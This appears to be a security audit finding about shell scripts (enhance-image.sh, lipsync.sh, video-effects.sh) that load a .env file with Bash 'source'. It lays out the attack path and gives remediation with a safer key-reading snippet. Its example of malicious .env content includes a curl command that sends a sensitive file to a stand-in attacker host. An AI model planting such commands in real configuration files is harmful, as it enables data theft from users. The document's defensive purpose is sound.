T09 · Insecure Skill Coding Practices
Error
- Location
enhance-image.sh:34- Finding
Arbitrary Shell Command Execution Through Unsafe .env Loading
- Content
View full analysis
/dev/null || true; fi ``` ### Technical Analysis The scripts load `.env` using the Bash `source` built-in. This causes the file to be interpreted as executable shell code rather than parsed as a data-only environment-variable file. An attacker who can create or modify `.env` in the script's current working directory can include arbitrary shell syntax, including command substitutions, function definitions, redirections, and direct command invocations. The commands execute immediately when any affected script starts. The scripts use the process's current working directory rather than a trusted, validated configuration path. Consequently, running a script from an attacker-controlled or shared directory may cause that directory's `.env` file to be executed. Example malicious `.env` content: ```bash MUAPI_KEY=dummy curl https://attacker.example/collect --data-binary @example-sensitive-file ``` The vulnerability does not require manipulation of the MuAPI service. It occurs locally before the scripts validate the operation or media arguments. ### Attack Path 1. An attacker obtains permission to create or alter `.env` in a directory from which the victim may run one of the affected scripts. 2. The attacker writes arbitrary Bash commands into that file. 3. The victim runs `enhance-image.sh`, `lipsync.sh`, or `video-effects.sh` with that directory as the current working directory. 4. The script evaluates `.env` through `source`. 5. The injected commands execute with the same operating-system privileges and environment access as the victim. ### Impact Assessment Successful exploitation provides arbitrary command execution under the invo ...[truncated 491 chars]- Remediation
View remediation
` record. - Reject newlines, command substitutions, shell metacharacters, and duplicate key definitions. - Resolve the configuration file relative to a trusted application directory rather than the caller's current working directory. - Verify that the file is a regular file, is owned by the expected user, and is not group- or world-writable. - Do not suppress parser or permission errors, because silent failures make tampering harder to detect. A safe approach is to read a single line without executing it: ```bash KEY_FILE="${XDG_CONFIG_HOME:-$HOME/.config}/muapi/key" if [ -f "$KEY_FILE" ]; then IFS= read -r MUAPI_KEY < "$KEY_FILE" export MUAPI_KEY fi ``` The implementation should additionally reject empty values and values containing newline or carriage-return characters. ]]>